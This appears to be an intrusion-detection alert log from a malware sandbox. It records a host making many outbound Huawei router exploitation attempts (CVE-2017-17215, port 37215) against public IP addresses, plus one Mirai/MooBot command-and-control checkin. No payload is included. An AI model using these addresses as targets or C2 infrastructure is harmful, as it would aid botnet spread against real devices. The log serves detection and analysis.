2024-08-01T15:35:20.206828+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44990	37215	192.168.2.14	58.206.132.145
2024-08-01T15:36:46.433605+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46848	37215	192.168.2.14	58.13.73.80
2024-08-01T15:36:16.183462+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35360	37215	192.168.2.14	41.240.186.133
2024-08-01T15:36:42.264821+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44846	37215	192.168.2.14	13.20.85.52
2024-08-01T15:35:17.174132+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57698	37215	192.168.2.14	197.51.110.122
2024-08-01T15:36:24.541924+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33696	37215	192.168.2.14	197.98.91.183
2024-08-01T15:35:21.910618+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44948	37215	192.168.2.14	197.11.129.185
2024-08-01T15:36:44.213748+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40460	37215	192.168.2.14	197.25.6.103
2024-08-01T15:35:21.888638+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60786	37215	192.168.2.14	41.253.236.38
2024-08-01T15:36:00.666095+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53846	37215	192.168.2.14	197.147.100.203
2024-08-01T15:35:21.873479+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40768	37215	192.168.2.14	41.154.100.136
2024-08-01T15:35:07.704461+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	38548	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:20.545875+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53976	37215	192.168.2.14	191.125.78.193
2024-08-01T15:36:06.759098+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42310	37215	192.168.2.14	41.67.7.222
2024-08-01T15:36:09.884980+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42980	37215	192.168.2.14	197.82.139.224
2024-08-01T15:36:24.454109+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55394	37215	192.168.2.14	41.32.230.2
2024-08-01T15:36:18.258560+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57194	37215	192.168.2.14	197.120.212.182
2024-08-01T15:35:16.402229+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46180	37215	192.168.2.14	157.252.179.4
2024-08-01T15:35:35.121144+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46366	37215	192.168.2.14	193.133.26.129
2024-08-01T15:36:46.308691+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56374	37215	192.168.2.14	41.119.220.43
2024-08-01T15:35:20.207315+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36728	37215	192.168.2.14	157.84.64.80
2024-08-01T15:35:56.401627+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34682	37215	192.168.2.14	197.115.6.79
2024-08-01T15:35:33.066723+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38576	37215	192.168.2.14	41.215.89.126
2024-08-01T15:35:58.793965+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39266	37215	192.168.2.14	197.4.251.191
2024-08-01T15:36:24.460331+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50998	37215	192.168.2.14	157.149.53.223
2024-08-01T15:35:17.038368+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54308	37215	192.168.2.14	41.138.22.23
2024-08-01T15:36:06.758885+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58034	37215	192.168.2.14	157.48.175.202
2024-08-01T15:35:16.324174+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58748	37215	192.168.2.14	41.102.235.147
2024-08-01T15:35:50.559626+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53878	37215	192.168.2.14	41.36.182.166
2024-08-01T15:35:20.216228+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60510	37215	192.168.2.14	41.108.225.40
2024-08-01T15:36:39.184242+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49538	37215	192.168.2.14	157.251.177.127
2024-08-01T15:36:28.882567+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59284	37215	192.168.2.14	41.83.66.185
2024-08-01T15:35:21.918441+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55368	37215	192.168.2.14	157.226.171.207
2024-08-01T15:35:21.885607+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51284	37215	192.168.2.14	197.16.100.78
2024-08-01T15:35:16.853926+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40032	37215	192.168.2.14	200.89.131.108
2024-08-01T15:35:16.466824+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55634	37215	192.168.2.14	184.46.233.237
2024-08-01T15:35:21.933539+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57490	37215	192.168.2.14	197.58.10.39
2024-08-01T15:36:18.286213+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33920	37215	192.168.2.14	1.179.231.118
2024-08-01T15:36:48.404515+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47330	37215	192.168.2.14	41.233.8.185
2024-08-01T15:35:16.900494+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59580	37215	192.168.2.14	157.203.23.110
2024-08-01T15:35:21.838044+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46312	37215	192.168.2.14	57.81.164.95
2024-08-01T15:35:21.865827+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48010	37215	192.168.2.14	97.225.37.49
2024-08-01T15:35:21.958099+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37086	37215	192.168.2.14	197.67.198.48
2024-08-01T15:35:50.304302+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45220	37215	192.168.2.14	145.140.117.138
2024-08-01T15:35:53.373604+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35316	37215	192.168.2.14	12.15.203.112
2024-08-01T15:36:51.587340+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59228	37215	192.168.2.14	41.222.207.115
2024-08-01T15:35:20.204399+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50606	37215	192.168.2.14	157.142.243.64
2024-08-01T15:35:35.119567+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46374	37215	192.168.2.14	197.68.74.222
2024-08-01T15:35:37.222203+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55280	37215	192.168.2.14	197.24.9.41
2024-08-01T15:35:40.243221+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60996	37215	192.168.2.14	197.54.52.246
2024-08-01T15:36:29.404372+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59356	37215	192.168.2.14	197.94.186.192
2024-08-01T15:36:06.829411+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52666	37215	192.168.2.14	197.185.123.193
2024-08-01T15:35:17.131340+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51296	37215	192.168.2.14	197.35.116.111
2024-08-01T15:36:52.656064+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36574	37215	192.168.2.14	197.84.24.181
2024-08-01T15:35:21.906272+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60958	37215	192.168.2.14	138.214.102.216
2024-08-01T15:36:55.996887+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53194	37215	192.168.2.14	41.43.219.160
2024-08-01T15:36:44.333246+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42208	37215	192.168.2.14	145.238.112.174
2024-08-01T15:35:21.862583+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48662	37215	192.168.2.14	27.13.167.201
2024-08-01T15:36:14.808545+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43726	37215	192.168.2.14	144.56.162.15
2024-08-01T15:35:25.947623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60072	37215	192.168.2.14	37.65.110.217
2024-08-01T15:36:32.778070+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38452	37215	192.168.2.14	41.239.77.83
2024-08-01T15:35:21.920530+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58630	37215	192.168.2.14	41.131.210.195
2024-08-01T15:35:20.545490+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36940	37215	192.168.2.14	41.49.20.76
2024-08-01T15:35:17.273351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53580	37215	192.168.2.14	157.246.8.72
2024-08-01T15:36:24.456108+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42800	37215	192.168.2.14	197.213.87.241
2024-08-01T15:36:57.561615+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50040	37215	192.168.2.14	41.134.38.98
2024-08-01T15:35:20.209191+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53618	37215	192.168.2.14	41.114.57.144
2024-08-01T15:35:54.576843+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34050	37215	192.168.2.14	41.58.118.192
2024-08-01T15:36:24.579919+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59290	37215	192.168.2.14	41.214.117.236
2024-08-01T15:35:28.717127+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37406	37215	192.168.2.14	157.70.103.61
2024-08-01T15:35:20.205808+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43212	37215	192.168.2.14	157.182.228.215
2024-08-01T15:35:48.348297+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52436	37215	192.168.2.14	157.122.81.39
2024-08-01T15:35:56.488844+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51244	37215	192.168.2.14	41.126.152.249
2024-08-01T15:36:51.620215+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50320	37215	192.168.2.14	157.106.212.27
2024-08-01T15:35:50.278988+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39596	37215	192.168.2.14	197.126.141.149
2024-08-01T15:36:51.649633+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60362	37215	192.168.2.14	157.213.213.63
2024-08-01T15:36:09.868751+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49622	37215	192.168.2.14	41.59.158.237
2024-08-01T15:35:20.205980+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33870	37215	192.168.2.14	197.141.234.224
2024-08-01T15:35:20.575068+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60292	37215	192.168.2.14	41.96.145.99
2024-08-01T15:35:17.249012+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56414	37215	192.168.2.14	41.167.1.18
2024-08-01T15:35:21.928341+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54940	37215	192.168.2.14	41.172.181.125
2024-08-01T15:36:39.033441+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38336	37215	192.168.2.14	39.24.144.194
2024-08-01T15:35:21.920526+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43362	37215	192.168.2.14	58.156.129.188
2024-08-01T15:35:21.866171+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38604	37215	192.168.2.14	157.5.109.189
2024-08-01T15:35:21.931794+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60966	37215	192.168.2.14	41.30.93.7
2024-08-01T15:36:32.771971+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57622	37215	192.168.2.14	157.164.61.242
2024-08-01T15:36:01.686391+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59870	37215	192.168.2.14	14.100.56.123
2024-08-01T15:35:20.210297+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58702	37215	192.168.2.14	41.23.136.70
2024-08-01T15:35:56.488938+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33090	37215	192.168.2.14	148.60.248.191
2024-08-01T15:36:06.759188+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55624	37215	192.168.2.14	197.186.247.92
2024-08-01T15:35:48.347949+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48356	37215	192.168.2.14	157.47.51.72
2024-08-01T15:36:20.314259+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58202	37215	192.168.2.14	41.75.199.150
2024-08-01T15:36:51.696644+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49134	37215	192.168.2.14	197.191.243.77
2024-08-01T15:35:17.253190+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47294	37215	192.168.2.14	136.114.60.196
2024-08-01T15:35:20.202654+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36058	37215	192.168.2.14	197.238.214.184
2024-08-01T15:35:20.207397+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41010	37215	192.168.2.14	41.119.64.108
2024-08-01T15:36:14.833138+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53108	37215	192.168.2.14	197.183.25.51
2024-08-01T15:35:50.296151+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40868	37215	192.168.2.14	41.97.169.114
2024-08-01T15:35:20.203932+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59660	37215	192.168.2.14	197.14.237.171
2024-08-01T15:35:20.205042+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35174	37215	192.168.2.14	197.92.230.23
2024-08-01T15:35:20.545359+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43452	37215	192.168.2.14	58.248.163.171
2024-08-01T15:36:09.902052+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34058	37215	192.168.2.14	197.201.68.85
2024-08-01T15:36:01.676188+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49910	37215	192.168.2.14	157.164.25.97
2024-08-01T15:36:34.854315+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56136	37215	192.168.2.14	157.149.254.57
2024-08-01T15:36:57.565466+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43690	37215	192.168.2.14	197.35.85.136
2024-08-01T15:35:16.852857+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50422	37215	192.168.2.14	157.75.77.178
2024-08-01T15:35:21.928767+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33866	37215	192.168.2.14	157.118.9.35
2024-08-01T15:36:18.275760+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43394	37215	192.168.2.14	41.125.38.57
2024-08-01T15:35:20.216617+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56370	37215	192.168.2.14	18.233.13.67
2024-08-01T15:35:21.833554+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55048	37215	192.168.2.14	41.179.175.67
2024-08-01T15:36:26.557158+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46236	37215	192.168.2.14	157.59.114.19
2024-08-01T15:35:21.846367+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36140	37215	192.168.2.14	157.147.180.179
2024-08-01T15:35:21.934055+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45872	37215	192.168.2.14	157.30.104.129
2024-08-01T15:35:35.117482+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55030	37215	192.168.2.14	46.247.2.34
2024-08-01T15:35:20.209867+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44190	37215	192.168.2.14	157.154.221.57
2024-08-01T15:36:49.661044+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34924	37215	192.168.2.14	96.10.254.117
2024-08-01T15:36:14.828870+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52824	37215	192.168.2.14	41.61.41.98
2024-08-01T15:35:16.856527+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41072	37215	192.168.2.14	157.253.51.213
2024-08-01T15:35:43.356704+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47222	37215	192.168.2.14	41.198.87.40
2024-08-01T15:35:32.992568+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42726	37215	192.168.2.14	157.119.116.114
2024-08-01T15:35:50.279033+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48156	37215	192.168.2.14	41.123.115.209
2024-08-01T15:36:55.997788+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40904	37215	192.168.2.14	41.188.241.76
2024-08-01T15:35:50.279246+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55164	37215	192.168.2.14	197.152.210.249
2024-08-01T15:35:20.203637+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34450	37215	192.168.2.14	157.237.238.8
2024-08-01T15:35:20.214819+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39872	37215	192.168.2.14	157.239.149.213
2024-08-01T15:36:51.576162+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35304	37215	192.168.2.14	41.165.252.245
2024-08-01T15:36:20.278738+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45358	37215	192.168.2.14	76.0.211.89
2024-08-01T15:36:55.978405+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57644	37215	192.168.2.14	197.206.27.34
2024-08-01T15:35:20.545867+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34898	37215	192.168.2.14	41.228.33.211
2024-08-01T15:35:16.406661+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59860	37215	192.168.2.14	197.37.11.189
2024-08-01T15:35:43.356532+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45234	37215	192.168.2.14	41.33.40.115
2024-08-01T15:36:01.488252+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46492	37215	192.168.2.14	157.229.168.28
2024-08-01T15:36:39.033445+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53256	37215	192.168.2.14	5.17.32.200
2024-08-01T15:36:57.561578+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50824	37215	192.168.2.14	197.135.29.153
2024-08-01T15:35:50.279119+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58550	37215	192.168.2.14	197.6.124.255
2024-08-01T15:36:01.672092+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59822	37215	192.168.2.14	41.75.118.229
2024-08-01T15:36:09.911014+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45404	37215	192.168.2.14	177.157.252.236
2024-08-01T15:36:15.263880+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52890	37215	192.168.2.14	119.28.178.147
2024-08-01T15:35:17.172203+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36870	37215	192.168.2.14	41.221.227.83
2024-08-01T15:35:54.407184+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53628	37215	192.168.2.14	41.248.126.126
2024-08-01T15:34:59.953236+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48784	37215	192.168.2.14	157.90.89.6
2024-08-01T15:35:54.684267+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33388	37215	192.168.2.14	197.113.171.1
2024-08-01T15:36:53.859553+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60600	37215	192.168.2.14	197.207.69.51
2024-08-01T15:35:20.205173+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34126	37215	192.168.2.14	41.37.117.100
2024-08-01T15:35:54.420931+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59562	37215	192.168.2.14	41.32.163.0
2024-08-01T15:36:06.682338+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47926	37215	192.168.2.14	41.223.28.182
2024-08-01T15:36:09.883648+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52232	37215	192.168.2.14	197.90.191.141
2024-08-01T15:36:26.557801+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51194	37215	192.168.2.14	157.249.186.170
2024-08-01T15:35:17.262074+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34854	37215	192.168.2.14	197.203.149.34
2024-08-01T15:35:20.202953+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32926	37215	192.168.2.14	197.15.213.209
2024-08-01T15:35:21.859249+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44700	37215	192.168.2.14	41.108.171.23
2024-08-01T15:36:03.557964+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45986	37215	192.168.2.14	68.167.131.150
2024-08-01T15:36:18.278418+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50088	37215	192.168.2.14	157.215.59.226
2024-08-01T15:36:32.983991+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47590	37215	192.168.2.14	197.30.244.45
2024-08-01T15:35:16.478903+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51244	37215	192.168.2.14	157.220.82.146
2024-08-01T15:35:21.928325+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53608	37215	192.168.2.14	144.126.245.42
2024-08-01T15:36:20.307976+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49824	37215	192.168.2.14	41.11.44.23
2024-08-01T15:35:20.209523+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33348	37215	192.168.2.14	197.73.155.152
2024-08-01T15:35:35.196262+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53106	37215	192.168.2.14	132.70.185.171
2024-08-01T15:36:49.572143+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43096	37215	192.168.2.14	157.227.157.123
2024-08-01T15:35:20.545310+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56862	37215	192.168.2.14	8.168.250.255
2024-08-01T15:35:16.887604+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40982	37215	192.168.2.14	157.157.109.60
2024-08-01T15:36:20.304224+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36166	37215	192.168.2.14	41.155.38.10
2024-08-01T15:36:53.731801+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58238	37215	192.168.2.14	41.23.59.228
2024-08-01T15:37:00.280811+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60900	37215	192.168.2.14	197.126.245.167
2024-08-01T15:36:22.456328+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47026	37215	192.168.2.14	197.18.26.7
